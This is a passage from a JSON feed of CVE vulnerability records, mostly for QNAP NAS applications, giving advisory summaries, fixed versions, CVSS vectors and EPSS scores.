fixes.","publishedAt":"2026-10-15T10:17:15.483Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Python"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79824","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00339,"percentile":0.2712,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79824&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79824","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79824","type":"primary","publishedAt":"2026-10-15T10:17:15.483Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79824&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79824, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-53882","cveId":"CVE-2026-53882","aliases":[],"kind":"vulnerability","title":"An improper link resolution before file access ('link following') vulnerability has been reported to affect Virtualization Station.","summary":"An improper link resolution before file access ('link following') vulnerability has been reported to affect Virtualization Station. If a remote attacker gains a user account, they can then exploit the vulnerability to compromise the security of the system.\n\nWe have already fixed the vulnerability in the following version:\nVirtualization Station 4.1.1.130 and later","detail":"An improper link resolution before file access ('link following') vulnerability has been reported to affect Virtualization Station. If a remote attacker gains a user account, they can then exploit the vulnerability to compromise the security of the system.\n\nWe have already fixed the vulnerability in the following version:\nVirtualization Station 4.1.1.130 and later\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T10:17:15.347Z","updatedAt":"2026-10-15T16:32:39.893Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-53882","asOf":"2026-10-15T16:32:39.893Z"},"epss":{"probability":0.00362,"percentile":0.29699,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-53882&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-53882","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-53882","type":"primary","publishedAt":"2026-10-15T10:17:15.347Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-53882&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-53882, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44084","cveId":"CVE-2026-44084","aliases":[],"kind":"vulnerability","title":"An authorization bypass through user-controlled key vulnerability has been reported to affect Video Station.","summary":"An authorization bypass through user-controlled key vulnerability has been reported to affect Video Station. If exploited, the vulnerability could allow remote attackers to obtain sensitive data.\n\nWe have already fixed the vulnerability in the following version:\nVideo Station 5.8.8 and later","detail":"An authorization bypass through user-controlled key vulnerability has been reported to affect Video Station. If exploited, the vulnerability could allow remote attackers to obtain sensitive data.\n\nWe have already fixed the vulnerability in the following version:\nVideo Station 5.8.8 and later\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T10:17:14.587Z","updatedAt":"2026-10-16T17:10:32.820Z","regions":["Global"],"vendor":"qnap","product":"video station","stacks":["QNAP","video station"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44084","asOf":"2026-10-16T17:10:32.820Z"},"epss":{"probability":0.00313,"percentile":0.24016,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-44084&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44084","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44084","type":"primary","publishedAt":"2026-10-15T10:17:14.587Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-44084&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-44084, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41545","cveId":"CVE-2026-41545","aliases":[],"kind":"vulnerability","title":"A relative path traversal vulnerability has been reported to affect QuMagie.","summary":"A relative path traversal vulnerability has been reported to affect QuMagie. If a remote attacker gains an administrator account, they can then exploit the vulnerability to read the contents of unexpected files or system data.\n\nWe have already fixed the vulnerability in the following version:\nQuMagie 2.9.1 and later","detail":"A relative path traversal vulnerability has been reported to affect QuMagie. If a remote attacker gains an administrator account, they can then exploit the vulnerability to read the contents of unexpected files or system data.\n\nWe have already fixed the vulnerability in the following version:\nQuMagie 2.9.1 and later\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T10:17:14.457Z","updatedAt":"2026-10-15T16:32:39.893Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41545","asOf":"2026-10-15T16:32:39.893Z"},"epss":{"probability":0.0042,"percentile":0.35993,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-41545&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41545","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41545","type":"primary","publishedAt":"2026-10-15T10:17:14.457Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-41545&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-41545, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-39997","cveId":"CVE-2026-39997","aliases":[],"kind":"vulnerability","title":"A missing authentication for critical function vulnerability has been reported to affect HybridDesk Station.","summary":"A missing authentication for critical function vulnerability has been reported to affect HybridDesk Station. If exploited, the vulnerability could allow remote attackers to gain access to the system.\n\nWe have already fixed the vulnerability in the following version:\nHybridDesk Station 4.2.22 and later","detail":"A missing authentication for critical function vulnerability has been reported to affect HybridDesk Station. If exploited, the vulnerability could allow remote attackers to gain access to the system.\n\nWe have already fixed the vulnerability in the following version:\nHybridDesk Station 4.2.22 and later\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T10:17:14.197Z","updatedAt":"2026-10-15T16:32:39.893Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.9,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-39997","asOf":"2026-10-15T16:32:39.893Z"},"epss":{"probability":0.00242,"percentile":0.1524,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-39997&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-39997","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39997","type":"primary","publishedAt":"2026-10-15T10:17:14.197Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-39997&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-39997, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34015","cveId":"CVE-2026-34015","aliases":[],"kind":"vulnerability","title":"A path traversal vulnerability has been reported to affect Video Station.","summary":"A path traversal vulnerability has been reported to affect Video Station. If a remote attacker gains a user account, they can then exploit the vulnerability to read the contents of unexpected files or system data.\n\nWe have already fixed the vulnerability in the following version:\nVideo Station 5.8.8 and later","detail":"A path traversal vulnerability has been reported to affect Video Station. If a remote attacker gains a user account, they can then exploit the vulnerability to read the contents of unexpected files or system data.\n\nWe have already fixed the vulnerability in the following version:\nVideo Station 5.8.8 and later\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T10:17:13.823Z","updatedAt":"2026-10-16T17:12:15.603Z","regions":["Global"],"vendor":"qnap","product":"video station","stacks":["QNAP","video station"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34015","asOf":"2026-10-16T17:12:15.603Z"},"epss":{"probability":0.00382,"percentile":0.31953,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-34015&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-34015","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34015","type":"primary","publishedAt":"2026-10-15T10:17:13.823Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-34015&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-34015, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34014","cveId":"CVE-2026-34014","aliases":[],"kind":"vulnerability","title":"An incorrect permission assignment for critical resource vulnerability has been reported to affect Download Station.","summary":"An incorrect permission assignment for critical resource vulnerability has been reported to affect Download Station. If a local attacker gains an administrator account, they can then exploit the vulnerability to compromise the security of the system.\n\nWe have already fixed the vulnerability in the following version:\nDownload Station 5.10.1.312 and later\nDownload Station 5.11.2.321 and later","detail":"An incorrect permission assignment for critical resource vulnerability has been reported to affect Download Station. If a local attacker gains an administrator account, they can then exploit the vulnerability to compromise the security of the system.\n\nWe have already fixed the vulnerability in the following version:\nDownload Station 5.10.1.312 and later\nDownload Station 5.11.2.321 and later\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T10:17:13.697Z","updatedAt":"2026-10-15T16:32:39.893Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34014","asOf":"2026-10-15T16:32:39.893Z"},"epss":{"probability":0.00105,"percentile":0.01054,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-34014&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-34014","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34014","type":"primary","publishedAt":"2026-10-15T10:17:13.697Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-34014&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-34014, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34009","cveId":"CVE-2026-34009","aliases":[],"kind":"vulnerability","title":"An improper isolation or compartmentalization vulnerability has been reported to affect Notes Station 3.","summary":"An improper isolation or compartmentalization vulnerability has been reported to affect Notes Station 3. If a local attacker gains an administrator account, they can then exploit the vulnerability to compromise the security of the system.\n\nWe have already fixed the vulnerability in the following version:\nNotes Station 3 3.9.11 and later","detail":"An improper isolation or compartmentalization vulnerability has been reported to affect Notes Station 3. If a local attacker gains an administrator account, they can then exploit the vulnerability to compromise the security of the system.\n\nWe have already fixed the vulnerability in the following version:\nNotes Station 3 3.9.11 and later\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T10:17:13.573Z","updatedAt":"2026-10-15T16:32:39.893Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34009","asOf":"2026-10-15T16:32:39.893Z"},"epss":{"probability":0.00111,"percentile":0.01301,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-34009&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-34009","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34009","type":"primary","publishedAt":"2026-10-15T10:17:13.573Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-34009&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-34009, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34008","cveId":"CVE-2026-34008","aliases":[],"kind":"vulnerability","title":"An incorrect permission assignment for critical resource vulnerability has been reported to affect Notes Station 3.","summary":"An incorrect permission assignment for critical resource vulnerability has been reported to affect Notes Station 3. If a local attacker gains a user account, they can then exploit the vulnerability to compromise the security of the system.\n\nWe have already fixed the vulnerability in the following version:\nNotes Station 3 3.9.11 and later","detail":"An incorrect permission assignment for critical resource vulnerability has been reported to affect Notes Station 3. If a local attacker gains a user account, they can then exploit the vulnerability to compromise the security of the system.\n\nWe have already fixed the vulnerability in the following version:\nNotes Station 3 3.9.11 and later\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T10:17:13.443Z","updatedAt":"2026-10-15T16:32:39.893Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34008","asOf":"2026-10-15T16:32:39.893Z"},"epss":{"probability":0.00095,"percentile":0.00626,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-34008&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-34008","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34008","type":"primary","publishedAt":"2026-10-15T10:17:13.443Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-34008&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-34008, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-26245","cveId":"CVE-2026-26245","aliases":[],"kind":"vulnerability","title":"A SQL injection vulnerability has been reported to affect Video Station.","summary":"A SQL injection vulnerability has been reported to affect Video Station. If a remote attacker gains a user account, they can then exploit the vulnerability to execute unauthorized code or commands.\n\nWe have already fixed the vulnerability in the following version:\nVideo Station 5.8.8 and later","detail":"A SQL injection vulnerability has been reported to affect Video Station. If a remote attacker gains a user account, they can then exploit the vulnerability to execute unauthorized code or commands.\n\nWe have already fixed the vulnerability in the following version:\nVideo Station 5.8.8 and later\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T10:17:13.053Z","updatedAt":"2026-10-16T17:12:51.950Z","regions":["Global"],"vendor":"qnap","product":"video station","stacks":["QNAP","video station"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-26245","asOf":"2026-10-16T17:12:51.950Z"},"epss":{"probability":0.00377,"percentile":0.31399,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-26245&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-26245","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-26245","type":"primary","publishedAt":"2026-10-15T10:17:13.053Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-26245&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-26245, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-26244","cveId":"CVE-2026-26244","aliases":[],"kind":"vulnerability","title":"A SQL injection vulnerability has been reported to affect Video Station.","summary":"A SQL injection vulnerability has been reported to affect Video Station. If a remote attacker gains a user account, they can then exploit the vulnerability to execute unauthorized code or commands.\n\nWe have already fixed the vulnerability in the following version:\nVideo Station 5.8.8 and later","detail":"A SQL injection vulnerability has been reported to affect Video Station. If a remote attacker gains a user account, they can then exploit the vulnerability to execute unauthorized code or commands.\n\nWe have already fixed the vulnerability in the following version:\nVideo Station 5.8.8 and later\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T10:17:12.917Z","updatedAt":"2026-10-16T17:13:24.843Z","regions":["Global"],"vendor":"qnap","product":"video station","stacks":["QNAP","video station"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-26244","asOf":"2026-10-16T17:13:24.843Z"},"epss":{"probability":0.00377,"percentile":0.31399,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-26244&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-26244","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-26244","type":"primary","publishedAt":"2026-10-15T10:17:12.917Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-26244&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-26244, scored 2026-10-25. This is a model estimate, not proof of 